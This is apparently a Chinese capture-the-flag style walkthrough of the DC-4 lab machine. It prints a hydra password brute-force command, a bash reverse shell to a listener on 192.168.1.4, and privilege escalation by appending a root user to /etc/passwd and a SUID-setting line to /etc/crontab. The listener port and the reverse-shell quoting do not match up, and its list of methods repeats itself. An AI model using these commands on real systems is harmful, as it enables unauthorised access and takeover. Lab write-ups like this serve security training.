用nmap掃描ip和埠,發現只開啟了22ssh埠和80http埠

開啟網頁只有一個登入介面

目錄爆破沒有發現什麼有用的,嘗試對登入進行弱口令爆破

一開始使用burpsuite,使用一個小字典進行爆破但是沒有爆破出來,嘗試用一個大字典來爆破,於是用了kali的usr/share/wordlist的rockyou字典,但是由於字典太大了導不進burpsuite,所以用hydra

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.241.160 http-form-post "/login.php:username=^USER^&password=^PASS^:S=logout" -F

介紹一下引數

-l:LOGIN 指定破解的使用者,對特定使用者破解
-L:FILE指定使用者名稱字典。
-p:PASS小寫,指定密碼破解,少用,一般是採用密碼字典
-P:FILE大寫,指定密碼字典。
-F:找到第一對登入名或者密碼的時候中止破解
http-form-post:登入的方式
路徑為ip下的login.php,使用者名稱為先前設定的admin,密碼為先前設定的字典
後面是退出的判斷語句,預設是沒有:S的,代表黑名單,即返回的報文包含:後面的內容則繼續爆破,但是現在是S:,我猜測是變為白名單匹配,即返回的內容不是logout則繼續匹配,至於logout我猜測是登入成功後會包含有logout的字眼

得出的密碼為happy





登入進去後發現似乎有和命令相關的,開啟驗證



抓包,發現裡面傳入了命令,嘗試修改命令,發現可以正常執行,存在RCE漏洞



既然可以執行命令,就嘗試反彈shell

在nc建立本地監聽

nc -lp 2333

目標機器反彈bash

/bin/bash 'bash -i >& /dev/tcp/192.168.1.4/4444 0>&1'

可以看到機器已經上線



嘗試開啟root,發現打開不了,嘗試suid提權



但是沒有合適的程序,檢視核心



搜尋相關漏洞,但是一個都沒有搜到

考慮到剛才檢測到了靶機開放了22ssh埠,所以應該是可以使用ssh爆破,所以先檢視使用者



可以看到有三個使用者,猜測其中一個應該可以用來ssh登入,到不同使用者的目錄看一下







可以看到jim有一個叫做old-passwords.bak的檔案,這個提示也太明顯了

將裡面的檔案全部複製出來到檔案裡面,再次使用hydra爆破,密碼為jibril04



登陸成功,還提示有個郵件



郵件內容(發現內容透露出了Exim 4.89版本,可以用這個提權)

From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: <charles@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
(envelope-from <charles@dc-4>)
id 1hCjIX-0000kO-Qt
for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-0000kO-Qt@dc-4>
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O Hi Jim, I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong. Password is: ^xHhA&hvim0y See ya,
Charles

要點

charles@dc-4,密碼^xHhA&hvim0y,好傢伙,擱著套娃

登陸成功後依舊不是root許可權,嘗試suid提權失敗,輸入命令

sudo -l
-l 列出目前使用者可執行與無法執行的指令。



發現charles可以不需要密碼就執行teehee,檢視這個程式的作用



發現他有寫入的許可權,那麼我們有三種方法

  1. 修改/etc/passwd的內容,增加一個新的root使用者

  2. 和之前一樣增加定時任務寫入提權相關的命令,並修改定時任務的許可權以root許可權執行

  3. 若定時任務內有指令碼且可以被修改則可以修改指令碼內容為相關命令

  4. 修改/etc/passwd的內容,增加一個新的root使用者



    建立一個uid和gid都為0的使用者

    echo "wang::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

    然後就可以su wang切換到wang使用者,但是不知道為什麼要我輸入密碼

    由於teehee只能寫入不能修改,所以沒法修改當前使用者的許可權,只能新增一個新使用者

  5. 和之前一樣增加定時任務寫入提權相關的命令,並修改定時任務的許可權以root許可權執行

    echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

    五個*代表著這個定時任務預設沒分鐘都會執行通過執行的指令碼將/bin/sh的許可權修改為4777,這樣就可以在非root使用者下執行它,並且執行期間擁有root許可權,然後執行sh





    我嘗試echo "* * * * * root chmod 4777 /bin/bash" | sudo teehee -a /etc/crontab,執行bash'後不知道為什麼不是管理員許可權

  6. 若定時任務內有指令碼且可以被修改則可以修改指令碼內容為相關命令

    但是由於兩個使用者的定時任務都沒有指令碼可以修改,所以此方法無效